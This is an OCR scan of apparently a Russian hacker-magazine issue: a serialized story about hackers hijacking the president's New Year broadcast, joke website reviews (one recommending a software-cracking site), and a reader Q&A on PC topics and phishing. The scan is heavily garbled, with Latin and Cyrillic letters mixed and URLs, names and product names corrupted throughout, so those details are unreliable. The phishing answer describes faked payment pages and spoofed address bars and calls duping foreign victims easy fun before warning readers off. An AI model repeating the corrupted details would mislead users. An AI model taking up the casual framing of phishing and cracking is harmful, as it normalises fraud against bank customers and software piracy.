Хопіх: Мы туг обсуждаем, че можно захакать под Новый год, что- 
бы запомнилось надолго. 

АІкаеб: И на чем остановились? 

Хопіх: Решили сначала хакнуть тісгозой.сот, потом ѵѵѵѵѵѵ.доѵ- 
егпшепідоѵ.ги. 

АІкаеб: Ну, удачи :). 

Хопіх: Не-не, все вместе ломаем :)). 

МооІеІ: Да, Алкид, вливайся. Без тебя не справимся. Покончим 
с этими, возьмемся за америкосов. Новогодняя ночка длинная. 
Всех успеем обслужить :)). 

АІкаеб: Не, парни, без меня. Мы с моей радостью цивильненько 
так у телевизора отметим. Поближе к кровати :)). 

Хопіх: Не по-хакерски как-то... 

АІкаеб: Да я и не претендую :). 

Огідіп: Фигня это все. Отмечать НГ нужно как полагается - с вод- 
кой, елкой и веселой компанией. 

Хопіх: А как же Майкрософт и Пугин? :) 

Огідіп: Да к черту Майкрософт, вместе с Путиным. 

Пашка остановил машину у подъезда, достал телефон и набрал 
номер. Туг же из трубки послышалось «Альоу?», произнесенное на 
французский манер. 

- Солнце, я внизу. 

- Уже спускаюсь! - ответила Аня. 

Через минуту из здания редакции вышла молодая девушка в си- 




реневой шубке. Открыв дверцу черной мазды, она потянулась и 
поцеловала водителя. 

Аня и Паша познакомились полгода назад в интернете. Она раз- 
местила свою анкету на «Дамочке», и Пашино письмо заинтригова- 
ло ее больше остальных. А когда оказалось, что его автор - краси- 
вый стильный парень, с незаурядным умом и явно обеспеченный, 
она сделала все, чтобы влюбить его в себя. Это того стоило - их 
отношения нисколько не потеряли яркости даже несколько меся- 
цев спустя. 

- Нам нужно спешить. Магазин скоро закроется. 

- Успеем. Если что, заедем в другой. Там круглосуточно. 

По пути за подарками родителям и знакомым Аня рассказывала 
о новом задании, которое ей подкинул редактор и которое нужно 
было выполнить после праздника. Она работала корреспондентом 
в крупной московской газете, печаталась под псевдонимом, и ее 
материалы часто ставили на первую полосу. Сама Аня этим очень 
гордилась. Но еще больше радовалась, когда ей удавалось достать 
информацию, не доступную ни одному из ее коллег. У девушки бы- 
ла потрясающая способность раскапывать факты даже там, где их 
тщательно прятали под большим слоем трухи. 

- Нужно найти и взять интервью у человека, который ведет од- 
новременно две жизни. Представь себе, вечером - добропорядоч- 
ный семьянин, любит жену, заботится о детях, а днем - проститут- 
ка в гейском публичном доме. 

- В фантазии тебе не откажешь. 

- Думаешь, это нереально? Да ладно тебе, Паш. Такое кругом. 
Вон, видишь ту старушку? - Аня показала на прошедшую мимо них 
бабушку с авоськой. - Как знать, может, эта старушка - тайный 
агент ФСБ и живет рядом с опасным подозреваемым под прикры- 
тием? 

- Тебе нужно меньше читать русские детективы. 

- Ты не прав. На самом деле очень интересная тема. В ней мож- 
но такое раскопать... У тебя, кстати, есть подобные знакомые? 

- Есть один. Днем его зовут мистер Томас Андерсон - програм- 
мист, работающий на респектабельную компанию, разрабатываю- 
щую программное обеспечение. У него есть карточка социального 
страхования, он платит налоги. И он помогает выносить мусор с 
площадки! В другой жизни он занимается только компьютерами. И 
под псевдонимом Нео совершил практически все компьютерные 
преступления, которые предусмотрены законом. 

- Ах да. У одной из этих жизней есть будущее, у другой нет... 
Я знала, что Нео первым придет тебе в голову. Ты наверняка сог- 
ласился бы жить в мире Матрицы? 

- Конечно. Но только если вместо Тринити будешь ты. 

- Я польщена, милый, - Аня потянулась и снова чмокнула Пашу 
в щечку. 

Внезапно машина остановилась около большого универсама. 

- Анют, подожди здесь минутку. Я быстро. 

- Ты куда? 

- Никуда не выходи. Сейчас вернусь. 

Аня наблюдала, как он вышел из машины и направился к оста- 
новке рядом с универсамом. В темноте что-либо рассмотреть бы- 
ло невозможно, поэтому девушка просто включила музыку в маг- 
нитоле погромче и принялась ждать. 

Паша вернулся через три минуты с большим черным пакетом в 
руках. Пакет он сразу положил в багажник. 




- Это что? - с удивлением спросила Аня, жестом показывая в 
сторону багажника. 

- Да приятель попросил придержать до Нового года подарок же- 
не. Чтобы дома не нашла. 

Аня улыбнулась. 

- Мой подарок ты тоже кому-то дал «придержать»? 

- Твой главный подарок - это я, - в тон ей ответил он. 

Машина тронулась с места. 

* * * 



Огромный немецкий дог по кличке Гром сидел у ног хозяина и с 
удовольствием подставлял ухо под ласки. Крупная рука с большим 
перстнем трепала его по загривку. Дог был уже немолод и за прожи- 
тое время два раза спас своему хозяину жизнь. В первый раз это про- 
изошло более десяти лет назад, когда хозяин еще не был настолько 
влиятельным человеком, а просто занимался бизнесом. Нашлась 
фирма, которой новый конкурент показался слишком назойливым, и 
заказала его киллеру. Тот проник в дом ночью, и, если бы не Гром, ко- 
торый туг же набросился на убийцу, все закончилось бы печально. 
Второй случай произошел три года назад на Кубе, где хозяин часто 
отдыхал. Каким-то образом он упал за борт катера, находящегося в 
двух милях от берега. Плавать он не умел, и, в то время как телохра- 
нитель дрых в шезлонге на корме. Гром прыгнул в воду и вытащил его 
на берег. Поэтому сидящей перед камином человек старался брать 
свою собаку всегда с собой. 

На вид этому мужчине было пятьдесят. Смуглая кожа, пышные 
волосы с седою проседью, благородные черты лица, цепкий 
взгляд. Он одним своим видом производил впечатление, а когда 
начинал говорить, собеседник сразу понимал, что нужно слушать, 
ловить каждое слово. Потому что такой человек никогда не говорит 
просто так. 

Мало кто знал его настоящую фамилию - намного более извест- 
ным было его прозвище Кардинал. Сам он уже не помнил, как его 
получил, да и редко кто к нему так обращался. Люди почтительно 
называли его Александр Ефимович. 

Состояние Кардинала исчислялось сотнями миллионов долла- 
ров. Ему хватило десяти лет, чтобы его сколотить. И когда зараба- 
тывать деньги ему наскучило, он решил начать их тратить. Тратить 
в огромных количествах, подкупая чиновников и расширяя свое 
влияние. Конечной целью Кардинал видел захват власти в высших 
политических кругах. Но окружение президента ему оказалось не 
по зубам. 

На журнальном столике рядом с креслом тихо зазвенел мобиль- 
ный телефон. Рука с перстнем оторвалась от уха Грома и медленно 
взяла аппарат. Александр Ефимович ничего не сказал в трубку, 
но этого и не требовалось. Голос на том конце провода кратко извесшл: 

- Клиент созрел. 

Рука тихо положила мобильник обратно на стол. 
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Аня вскрикнула и обмякла. После этого они какое-то время ле- 
жали на кровати и переводили дыхание. 

- Хорошо... - умиротворенно заметил Паша. 

Девушка улыбкой выразила свое согласие. 

- Пойду заварю нам кофе, - сообщила она и, накинув халат, отп- 





ВСЕГО ЧЕРЕЗ НЕСКОЛЬКО СЕКУНД... 




равилась на кухню. Вернувшись с подносом обратно, она застала 
его уже сидящим за компьютером. 

Паша работал в зесигііу-сфере, но, в отличие от нее, о своей ра- 
боте не распространялся. Да и вообще, компьютерные темы ста- 
рался при ней не затрагивать. Аня в самом начале их совместной 
жизни дала понять, что ей компьютерные премудрости малоинте- 
ресны. Иногда она спрашивала, что именно он делает, когда на эк- 
ране маячил юникс и шло сканирование портов. Паша отшучивал- 
ся: «Пентагон ломаю». 

Аня поставила поднос на тумбочку и, завалившись на кровать, 
смотрела, как он увлеченно тарабанит пальцами по клавиатуре. 

- Пашка, а ты когда-нибудь делал с компьютерами что-то про- 
тивозаконное? 

- Глупый вопрос. Конечно, нет. 

- Я вот сейчас смотрю на тебя и вспомнила твоего Нео. Ведь ты 
вполне можешь быть таким же, как он. Днем работник преуспева- 
ющей компании, а вечером - хакер. 

- Анька, прекращай глупости говорить. Меня не интересует под- 
польная жизнь. 

- Ну, в подпольной жизни есть свои плюсы. 

- Да? И какие же? 

- Анонимность, доступ к запретному, неформальная тусовка... 

- Ну и зачем мне сдалась анонимность? Я, наоборот, работаю, 
чтобы продвинуть свое имя. 

- Настоящее имя. Кто знает, сколько у тебя других имен... 

Конечно, она ни в чем его не обвиняла. Тон был шутливый, и он 

понимал, что Анька подкалывает. Но разговор ему был почему-то 
неприятен. 

- Анют, давай закроем эту тему. Я не Нео, хотя не против нау- 
читься летать и исполнять кунг-фу. И вообще, не будем трогать 
компьютеры. Если я начну посвящать тебя в свою работу, тебе это 
очень быстро наскучит. Все-таки компьютерная безопасность - 
очень специфическая область. 

- Ладно, ковбой, работай. Я пойду прогуляюсь. 

- Куда? На улице дубарь! 

- Ничего страшного. Мне еще надо заскочить кой-куда. Скоро вер- 
нусь. 

Чмокнув его в щечку, она захватила с подноса свой кофе и пош- 
ла одеваться. 



Интернет-кафе «2оот», как и другие близлежащие заведения, 
было к празднику щедро украшено гирляндами и серпантином. К 
каждому столу была прикреплена еловая веточка с шариком, а у 
входа стояла большая кукла Санта Клауса с мешком через плечо. 
Словом, атмосфера в «Зуме» была самая что ни на есть новогодняя. 

Сашок сидел за одним из компьютеров и пытался найти какие- 
нибудь новогодние приколы и студенческие игры. Тридцать перво- 
го у него на хате должна была пройти большая вечеринка, и по 
опыту прошлых вечерин Сашок знал, что для нормальной развле- 
кухи нужна программа. И не игра в бутылочку, а что-то более серь- 
езное. Мальчиков и девочек планировалось быть поровну. И это 
были не самые стеснительные мальчики и девочки. 

Сашку редко доводилось иметь дело с интернетом, поэтому он 
периодически подзывал администратора и вопросами: «А чо тут?», 
«Нота я не понял?» - пытался втолковать, что ему нужно. Но время 
шло, и Сашок никак не мог отыскать ничего подходящего. 

В какой-то момент в уголке экрана Сашок заметил мигающую 
иконку письма. Все компьютеры в кафе имели общую аську, кото- 
рая загружалась по дефолту и с которой можно было быстро отп- 
равить сообщение нужному человеку. Такое не практиковалось в 
других интернет-кафе, но слишком уж часто юзеры доставали ад- 
минов просьбой помочь настроить ісд. 

Открыв письмо, Сашок увидел одну-единственную надпись 
«Здесь ты сможешь увидеть меня голенькой» и ссылку на сайт. 
Упускать такую возможность было глупо, тем более если бы тетка 
оказалось симпотной, Сашок завсегда был готов продолжить зна- 
комство в реале. Но, нажав на ссылку, вместо фотографии неожи- 
данной гостьи он увидел кучу постоянно открывающихся окон. 

«Ээ, а чо эта?» - позвал админа Сашок. Увидев творящееся на 
экране безобразие, админ закрыл браузер. Но в этом момент 
компьютер сам перезагрузился. Система загрузилась нормально, 
но наотрез отказывалась находить сеть. Теперь уже в непонятках 
был админ. Просмотрев настройки соединения и запущенные 
процессы, он не обнаружил ничего, что могло отрезать доступ. 
Админ позвал более опытного коллегу, но и тот не смог разоб- 
раться. 

- Не, ну какого черта клацать все подряд? - не сдержался один 
из админов. 







- Слышь, ты за метлой следи! Я те чо, хакир крутой? Я гребу, чо 
у вас с компьютерами? 

Админ понял, что продолжать пререкания бесполезно и попы- 
тался найти решение. Но пришло оно совершенно неожиданно. 

Сидящая за соседним компьютером девушка встала, подошла к 
ним и, сказав вскользь: «Давайте я попробую», принялась копать- 
ся в системе. 

- Эээ.. девушка, вы что там ищете? - офигев от такой наглости, 
спросил админ. Но увидев, как быстро и уверенно она исследует 
систему, решил подождать с замечаниями. 

Через минуту интернет снова работал. 

Трое парней глазели на нее, как на ожившую статую Венеры. 
А девушка набросила на себя сиреневую шубку и, заплатив по сче- 
ту, вышла из кафе. 
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І^евизионщики суетились вокруг, настраивая оборудование 
и декорации. Так как на этот раз съемки велись в помещении, в ка- 
честве заднего фона поставили картину с видом на Кремль. Всем 
этим хозяйством заправлял мужчина в дорогом костюме с красным 
галстуком, постоянно подгоняющий операторов и технических ра- 
ботников. До Нового года оставалось меньше шести часов, а обо- 
рудование до сих пор не было настроено. 

Путин сидел рядом со съемочной площадкой и изучал обращение, 
составленное Алехиным. Парень отлично справился с заданием. Во 
всяком случае, получилось не хуже, чем в прошлый раз. 



Конечно, текст будет транслироваться, но президент хотел выучить 
его наизусть, чтобы меньше обращать внимание на скроллинг, боль- 
ше - на зрителей, сидящих по ту сторону экрана. Несмотря на ог- 
ромный опыт публичных выступлений, он немного нервничал. 
Слишком большая ответственность. Когда вся жизнь в стране зами- 
рает и все смотрят только на тебя, улавливая каждое слово, ты не 
имеешь права запнуться. 

Пока президент готовился к выступлению, двое других мужчин 
подготавливали специальное оборудование. В этом году Первый 
канал решил воспользоваться спутниковым методом трансляции 
эфира, так как новогоднее обращение впервые вещалось в реаль- 
ном времени в интернете. Картинка из камеры передавалась на 
коммерческий спутник и оттуда поступала на два источника: в Ос- 
танкино и к крупнейшему в России интернет-провайдеру. Несмот- 
ря на незначительную задержку во времени, такой вариант был 
значительно удобнее стандартного. 

- Долго еще? - обратился к системщикам «красный галстук». 

- Да уже почти закончили. 

- Никаких заминок не будет? 

- Да не должно вроде. 

- Какое к черту «не должно»? Чтоб все прошло идеально! Если что 
- три шкуры спущу. 

Когда «галстук» удалился, один из системщиков пробурчал вдо- 
гонку: «Самый умный? Вот иди и настрой». Впрочем, переживать 
повода не было. Эти парни знали свое дело, настройка спутнико- 
вого гейта практически была закончена. 

Съемка происходила в большом кремлевском зале, заботливо 
украшенном гирляндами. Там же в углу стояла наряженная елка, 
а вдоль стен - столы со всевозможной едой и напитками. Все это 
было нетронутым - находящиеся в зале люди ждали, когда Влади- 
мир Владимирович скажет последнюю в этом году речь. И тогда 
можно будет с чистой совестью взяться за угощения. 

Закончив настройку, телевизионщики протестировали связь. 
Все было в порядке, о чем тут же доложили «красному галстуку». 
Оставшееся до полуночи время люди общались друг с другом, 
вспоминали события уходящего года. А ровно в половину двенад- 
цатого к Путину обратился один из телевизионщиков: 

- Владимир Владимирович, готовы? Скоро ваш выход. 
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ВСЕГО ЧЕРЕЗ НЕСКОЛЬКО СЕКУНД. 




* * * 

Под огромным экраном собралось несколько тысяч человек. 
Большинство из них - молодежь, которая решила в новогоднюю 
ночь не сидеть дома, а отправиться на поиски фана. Находясь в 
центре толпы, АІі обнимал свою девушку и перекидывался шутка- 
ми с друзьями. Он был счастлив, что ему есть с кем отметить 
праздник, что у него есть эти ребята, стоящие сейчас рядом. 

Повсюду слышался смех и взрывы петард. Народ поздравлял 
друг друга с наступающим Новым годом и периодически погляды- 
вал на часы. Оставались считанные минуты. На экране шло какое- 
то новогоднее представление, но все знали, что очень скоро вмес- 
то него появится знакомое лицо. И тогда затихнут взрывы петард, 
умолкнет смех. И люди услышат поздравление президента, после 
которого можно запустить в воздух самые яркие фейерверки и 
смеяться хоть до утра. 

* * * 

- Ма! Не переключай! - потребовала капризно Маша: по телеви- 
зору показывали мультфильм. 

- Сейчас будет выступление президента, - не допускающим 
возражений тоном ответила мать. И крикнула в сторону комнаты: - 
Толик, садись за стол! 

Толик, в компьютерном андеграунде более известный как Хопіх, 
как обычно, сидел за компьютером. Он бы предпочел и Новый год 
встретить там же, но решил все-таки соблюсти приличия. Отси- 
деть положенные полчаса и потом тихо сбежать в свою комнату. На 
канале собиралась довольно приличная толпа народу, и, судя по 
всему, в новогоднюю ночь разговоры будут более чем активными. 
А может быть, и не только разговоры. 

За столом уже сидели все родные: мать, отец, восьмилетняя 
сестренка и бабушка. Бабуля наготовила кучу разных деликатесов, 
и маман в этот момент накладывала всем всего по чуть-чуть. Теле- 
визор показывал какое-то идиотское представление. На часах без 
десяти двенадцать. 



МісІеІ с двумя приятелями сидел на диванчике, пил шампанское и 
смотрел на сцену. Там, переодетый в причудливый костюм, зажигал 
А1е1[, пытающийся сойти за деда Мороза. Судя по всему, он уже 
изрядно выпил, так как язык у него периодически заплетался. Впро- 
чем, это только добавляло фана новогодним гостям клуба. Когда 
выступление диджея подошло к концу, он взял микрофон и поинте- 
ресовался, может быть, кого-то не хватает? Вместе с АІеІ^’ом все ста- 
ли звать Снегурочку. МісІеІ отхлебнул еще шампанского и с интере- 
сом продолжил наблюдать за развитием событий. Из диджейской ко- 
нуры модельной походкой вышла Снегурочка - в коротеньком голу- 
бом полушубке, чулочках в сеточку и выпирающими буферами. Пуб- 
лика одобрительно засвистела. Из колонок раздалась зажигательная 
музыка, и Снегурочка, обняв пилон, принялась исполнять стриптиз. 
Длился он недолго и МісІеГю не понравился. Деваха закончила как 
раз перед полуночью, когда на сцену снова выбежал диджей с прик- 
леенной бородой и вместе с залом стал отсчитывать последние се- 
кунды до начала нового года. Но МісІеІ этого уже не слышал. Все его 
внимание было обращено к телевизору, висящему над диваном. 



* * * 

- Ну что, мужчина, открывайте! - Аня вручила любимому бутыл- 
ку, и он, аккуратно орудуя ножом, бесшумно снял пробку. 

- Надо же, еще не забыл, как это делается, - удивился Паша и 
наполнил до краев оба бокала. По первому каналу транслировали 
какие-то пляски. - Интересно, кто додумался поставить в канун Но- 
вого года эту муть? 

Аня посмотрела на часы. 

- Сейчас Путин появится. 

- Думаю, самое время тебе сообщить. Анют, прикинь, шел до- 
мой и по пути встретил... угадай кого? 

- Да неужто его самого? - с иронией переспросила Аня. 

- Именно. Дедушку Мороза. Причем не какого-то фальшивого, а 
самого что ни на есть настоящего. И знаешь, что он мне сказал? 

Аня изобразила на лице острейший интерес. 

- Он сказал: «Передай эту коробку своей любимой девушке. По- 
тому что в ней именно то, о чем она так долго мечтала». 

С этими словами Паша достал из-за дивана коробку, перевязан- 
ную белой ленточкой. 

- Ой. А как сюда могли поместиться вилла на Канарах и Ауди ТГ? - 
с веселой издевкой поинтересовалась девушка. 

- Ты открываешь? 

Аня разорвала ленточку, открыла коробку и обнаружила внутри 
те самые дорогущие зимние сапожки на меху, которые ей запали в 
душу пару месяцев назад и которые она не могла себе позволить. 
Лицо девушки засияло. Она обняла Пашку и попросила: 

- Передай деду Морозу, что мне очень понравился подарок. 
Очень! 

В этот момент передача по телевизору прекратилась, и на экра- 
не, на фоне кремлевской стены, появился президент России Вла- 
димир Пугин с бокалом в руках. 

- Уважаемые граждане России! Дорогие друзья! - послышался 
его неторопливый уверенный голос. 

Паша приготовился послушать, но голос Ани оторвал его от но- 
вогодних речей: 

- У меня для тебя тоже есть подарок! 

- Тогда почему он до сих пор не у меня? 

- Всему свое время, дорогой, - девушка улыбнулась и прос- 
кользнула в спальню. Пока она отсутствовала, Паша продолжал 
слушать. Президент довольно грамотно подводил итоги прошед- 
шего года, поздравляя всех россиян с достигнутыми успехами. 

- У нас есть все основания полагать, что в новом году Россию 
ждет еще больший успех, - расставлял акценты Пугин. 

- Держи, это тебе! - вернулась наконец Аня и взволновано про- 
тянула коробку, раза в три меньше той, что получила она. 

- Спасибо, солнце. Давай только дослушаем. 

Пожелав россиянам осуществления всех их планов, Владимир 
Владимирович медленно поднял бокал и перешел к заключительной 
фазе: 

- ...Мы должны помнить, что являемся гражданами великой 
страны. Которая насчитывает долгие годы истории и за все это 
время неоднократно доказывала свое право на уважение. Всего 
через несколько секунд... 

Пугин не успел договорить. Внезапно картинка на экране оборва- 
лась, и вместо изображения президента появились кадры, сделан- 
ные по следам прошедших терактов. Камера бегло выхватывала ок- 
ровавленные стены, испуганные лица детей, изувеченные трупы. Го- 
лос президента, вновь зазвучавший на фоне, повторял описания ус- 
пехов прошедшего года и надежды на успешное будущее. Продол- 
жалось это около десяти секунд. Потом появился черный экран, и 
через мгновение его уже сменили пляски, предшествовавшие выс- 
туплению Пугина. 



Продолжение следует. 
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9 же не знаешь, куда де- 
ваться от назойливой 
ТВ-рекламы? Просто ты 
смотришь не ту рекламу! 

На этом сайте предлагает- 
ся посмотреть познава- 
тельные, стебные и, глав- 
ное, интересные реклам- 
ные ролики, почитать 
статьи по теме. Свежие 
идеи и неожиданный под- 
ход к, казалось бы, при- 
вычным веіцам, ежене- 
дельно обновляемый топ. Сайт еще совсем молодой, но, несмотря на это, просто поража- 
ет количеством материалов. Хотелось бы верить, что сегодняшнее «тогда мы идем к вам», 
ежечасно кричащее по всем каналам, поменяется и станет похожим на те вещи, которые 
рассматриваются на Дцвертке. Также хотелось бы отметить внушительную коллекцию книг 
о всевозможных видах рекламы и направлениях рекламных и РР-технологий. Мною еще 
был найден большой архив видеороликов, скромные размеры которых всех порадуют и 
существенно облегчат ознакомление с материалом. В общем, посетив этот сайт, ты пой- 
мешь, что реклама - это не просто скучный и назойливый двигатель торговли, а настоя- 
щее произведение искусства. 
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Ч астенько ли ты совершаешь грех онана? =) И не стыдно тебе? Если это так, то, зай- 
дя по этому адресу, ты найдешь себе единомышленника в виде ярого ненавистника 
«онанизма и секса с презервативом». Замучила эрекция? Автор предлагает легкое избав- 
ление от нее методом ношения юбок =). Фотки же самого автора (как, впрочем, и его от- 
ношение к жизни в целом) реально поднимают настроение приступами неудержимого 
смеха =). Непонятно, по какой причине на сайте также были найдены темы по приведе- 
нию интеграла к сумме ряда и огромное количество разнообразных задачек по физике и 
экономике. Несложно догадаться, что автор данного творения любыми способами хочет 
подавить в себе все желания и считает, что для этого все средства хороши. На форуме и 
в гостевой, к своему удивлению, я обнаружил довольно-таки значительное количество со- 
чувствующих =). На сай- 



те продвигаются идеи то- 
го, что человек - духовное 
существо и у него нет и 
не может быть потреб- 
ности выбрасывать свою 
сперму на помойку, а су- 
ществует только духовная 
потребность продолже- 
ния рода, которая проис- 
ходит от веления его со- 
вести. Да устыдятся все, 
кто думает иначе! Аминь! 
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нтикосмо - это то же самое, что и Космо, только с 
мыслями мужика». Данное произведение искусства 
представляет собой не что иное, как журнал «Космополи- 
тен», переделанный с точностью до наоборот. Невозмож- 
но не согласиться с тем, что на рынок выплеснулось боль- 
шое количество журналов, дающих советы и поучения ву- 
менам о том, как надо вести себя с менами. На самом же 
деле эти поучения представляют собой полнейшую чушь. 
Сайт полностью копирует дизайн ненавистного журнала, и 
автор в поте лица трудится над тем, чтобы все оригиналь- 
ные статьи из Созто были переведены на «человеческий» 
язык и стали действительно полезны каждому. Кроме ста- 
тей, с ног на голову поставлены и письма читательниц жур- 
нала. Послания посетителей данного сайта не менее зани- 
мательны. Если ты устал от тупых и бесполезных журналов 
такого плана - смело вступай в ряды космоненавистников. 
Смешные статьи, смелые креативы и свежие идеи - еп)оу! 
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І пІЗ - это инструкция ассемблера, которая широко ис- 
пользуется отладчиками реального режима. Поэтому, 
наверное, несложно догадаться, чему посвящен сайт, а 
именно - созданию и исследованию защит ПО. Материа- 
ла еще не очень много, но зато почти весь он написан са- 
мими создателями сайта. Здесь есть и учебные взломы 
некоторых СгаскМе, и сложные вещи вроде патчинга 
программ, упакованных ІІРХ, или отучения программ от 
СО. Рекомендуется начинающим крэкерам. Для полно- 
ценного использования ресурса рекомендуется пройти 
регистрацию. 
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К аждому из нас при рождении дается довольно-таки 
стандартный серийный номер, притом без вопроса, 
нравится ли он хозяину и насколько подходит к его внут- 
реннему духовному миру и карме. Наверное, устал от то- 
го, что тебя зовут наискучнейшим именем Василий и ни- 
чем не примечательной фамилией Пупкин? Недавно, 
бродя по бескрайним просторам инета, я наткнулся на 
один довольно-таки интересный ресурс. С появлением 
данного сервиса у тебя появился великолепный шанс на- 
чать менять себя. Все до безобразия просто: вбив свои 
имя, фамилию и дату рождения, ты узнаешь, как бы те- 
бя звали, если бы ты был рожден в Поднебесной. Также 
здесь можно найти свой знак по китайскому гороскопу и 
личную звезду. И пусть все падают от зависти, когда ты 
с гордым видом произнесешь: «Май нэйм из Куанг Фь- 
енг Кураньгсао» =).. 





П риятно, когда в Сети встречаются мысляіцие люди, и 
вдвойне приятней, когда эти люди еще умны и молоды. 
Один из таких людей - Шурик Бабаев. Мыслит Шурик со- 
вершенно на разные жизненные темы, но он не попал бы в 
наш журнал, если бы не был ко всему прочему еще и хоро- 
шим программистом. Шурик закончил кафедру компьютер- 
ных технологий в Санкт-Петербургском институте точной 
механики и оптики и успел поработать во множестве компь- 
ютерных компаний, и это несмотря на относительно моло- 
дой возраст (1981 г.р.). Все, кто неравнодушен к програм- 
мированию, думаю, смогут найти для себя что-нибудь инте- 
ресное и полезное на его сайте. 








РЮНЕТЗОиВСЕСООЕ 
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З то один из старейших и самых больших в интернете порталов-хранилищ исходни- 
ков программ, насчитывающий 9 761 708 строк кода, статей и туториалов по 1 1 
языкам программирования (ѴВ, С/С-ь-ь, 801, РегІ, Оеірііі, РНР и пр.). Исходники рассор- 
тированы по различным направлениям, например, Весигііу, АІдогіІІптз, Сатез, 
ОаІаЬазез, Раіт 08 и т.д. На сайте постоянно проводятся различные конкурсы для прог- 
раммистов с призами от именитых фирм. В общем, сайт всячески рекомендуется в зак- 
ладки любому, кто кодит по крайней мере больше одной строчки в месяц. 




-н + н 




| !то - это сайт кафедры технологий программирования Санкт-Петербургского госу- 
дарственного университета информационных технологий, механики и оптики. Во- 
обще, данная кафедра «оптического» университета довольно известна в России и в 
мире. Например, ее студенты неоднократно завоевывали первые места на российских 
и международных чемпио- 
натах по программирова- 
нию. Но особенно знаме- 
нит заведующий кафедрой 
профессор А.А. Шалыто. 

Это очень энергичный и 
умный человек, создатель 
уникальной 8ѴѴІТСН -техно- 
логии, которая эффектив- 
но применяется во многих 
областях программирова- 
ния. На сайте можно де- 
тально ознакомиться с 
данной технологией. 








I 




Уже целый год собираюсь провести домой высокоскоростной инет. 
Выбор наконец-таки пал на АОВІ-соединение от местного провайде- 
ра. Однако проводить мне его отказались из-за каких-то там катушек 
Пупина. Они якобы установлены на моей линии. Блин, аж смешно. 
Что еще за катушки, да еще с таким смешным названием? 

(Т) 

у— у Катушки Пупина широко применялись еще советскими связистами 

для улучшения прохождения сигнала тональной частоты. Проще говоря, 
для улучшения связи. Никто тогда и предположить не мог, что эти замечатель- 
ные катушки станут непреодолимым препятствием для установки на линии тех- 
нологий типа х081. Объясняется это все очень просто: «пупины» просто-нап- 
росто не пропускают ВЧ -сигналы, а значит, о передаче данных со скоростью в 
несколько Мбит/с даже и речи идти не может. Тебе могу лишь выразить свои 
соболезнования и пожелать скорейшей смены линии. Аминь. 

ѴІ|І Что такое фишинг-атака? Уже не раз встречал этот термин на 
просторах инета и в письмах от своего банка (я владелец кредитной 
карты). 

1 Н і Взламывать банк - занятие сложное и, как правило, неблагодарное. 

Ребята из отделов собственной безопасности довольно ответственно 
подходят к пресечению подобных эксцессов. С ними, как ты понял, лучше не 
связываться. Дороже выйдет! Зато одурачить незадачливых граждан - раз 
плюнуть. Этим, собственно говоря, и занимается не одна тысяча мошенников 
по всему миру. Рецепт простой. Преступниками создается веб-страница (она 
же - рЫзІпег), которая со скрупулезной точностью имитирует интерфейс какой- 
либо известной платежной системы. После этого мошенниками организуется 
спам-рассылка. В письме получателя любезно просят перейти по указанной 
ссылке и заполнить специальную форму, чаще всего инфой о кредитной кар- 
те или данными, необходимыми для доступа к банковскому счету. 

Не надо думать, что на такую, казалось бы, фигню никто не клюет. Возможно, 
среди россиян, повидавших за свою нелегкую жизнь самого черта, простач- 
ков найти довольно сложно, но среди буржуев их хоть отбавляй. Оторваться 
можно по полной программе. Тем более что хитростей и специальных фишек 
здесь хватает. Так, например, чтобы у жертвы не возникло лишних подозре- 
ний по поводу подлинности сайта, навигационная панель браузера (прежде 
всего, Іпіегпеі Ехріогег'а) полностью изменяется на поддельную, в которой 
отображается совсем другой, подходящий по ситуации ІІВІ. Лихо, правда? Но 
это лишь один пример, подобных хитростей море! И не думай этим способом 
нажиться - себе дороже выйдет. Обещаю! 



ф Задавая вопрас, пвдуиай! Не стоит мне посыпать 
вопросы, так ипи иначе связанные 
с хакои/крякои/фриком, дня этого есть ЬасИад 
(Ііаск{ад@геаІ.хакер.ги), не стоит также задавать 
откровенно лаиерские вопросы, ответ на которые 
ты при опредеоеннои желании можешь найти и сам. 
Я не телепат, поэтому конкретизируй вопрос, 
присыпай как можно больше информации. 

А существуют ли в природе проги для автоматического включения 
компа? На ночь компьютер напряжно оставлять - гул спать мешает. А 
радио «Шансон» - единственное, которое можно настроить на моем 
будильнике, - меня особо не радует... 

(Т) 

Ѵ—Ѵ Интересный будильник. Не менее интересное радио. По мне, так луч- 
ше 80 децибел родного советского будильника ничего еще не придумали. 

1 00% пробуждение, в отличие от какой-то там музыки, от которой порой спать еще 
больше хочется. 

Но раз уж тебе так захотелось, то спешу тебя обрадовать. Практически все совре- 
менные материнки поддерживают включение компьютера в заданное время. Со- 
ответствующая настройка находится в биосе. Но лазить туда каждый раз жутко не- 
удобно. Поэтому лучше воспользоваться специализированной программой типа 
Вііагіп (ѵѵш.сотаіІ.ги:8081/~підо). Подобная функция имеется также и в известном пла- 
нировщике ппСгоп (шѵѵ.ппсгоп.ш). Причем, в отличие от Вііапп'а, ппСгоп не завязан 
на конкретном железе, а по-умному использует стандартное ѴѴіп32 АРІ. А это га- 
рантирует его работу на любой машине, аппаратно поддерживающей специфика- 
цию ОпМоѵѵ. 

Для тех, кто заинтересовался технической стороной вопроса и ее самостоятельной 
реализацией (уважаю!), советую обратиться к М80М (ІіНр://п$с1п.пісго$о[Ісопі). А 
конкретно, к описанию функции 8е1Ѵ\/аі1аЫеТітег и статье 8уз1ет ѴѴаке-ир Еѵепіз. 




Ф Подскажи софт для трансляции аудио/видео по сети. 

(Т) 

Ѵ—Ѵ По поводу трансляции аудио мы уже говорили. Не поленись поднять 

электронную подшивку журнала - в начале года была подробнейшая 
статья в разделе РС_2опе. Теперь о видео. Выбор софта здесь напрямую зави- 
сит от твоих требований. Ты их изложить, разумеется, не удосужился. Так что 
придется кратко разбирать сразу несколько вариантов. 

РУ8оЙ Вгоасісазіег (ѵѵѵѵѵѵ.ру$о[Ісоп/ВгоасІса$1ег.1і1пІ). Простая прога для трансляции в 
локалке видео с камеры или тюнера. Количество клиентских подключений неве- 
лико, поэтому сойдет разве что для небольшой сети. 

МРЕ64ІР (Шр://[тіред4ір.$оигсе[огде.пе(). Эта утилита примечательна тем, что веща- 
ет в формате МРЕ64, а еще солидным геморроем во время отладки и настрой- 
ки. Чтобы не задавать лишних и глупых вопросов, настоятельно рекомендую на- 
чать с чтения мануалов на сайте разработчиков. И в программе разберешься, и 
английский свой поднатаскаешь. 

ѴісІеоІАМ (ѵѵѵѵѵѵ.ѵісіеоіап.огд). Мощная штуковина. На вход можно подавать МРЕ6-1 , 
МРЕ6-2, МРЕ6-4, ОѴО и ОіѵХ файлы. На выходе имеем потоковое видео в фор- 
мате МРЕ6-2. Бесплатная, мультиплатформенная - то, что доктор прописал. 
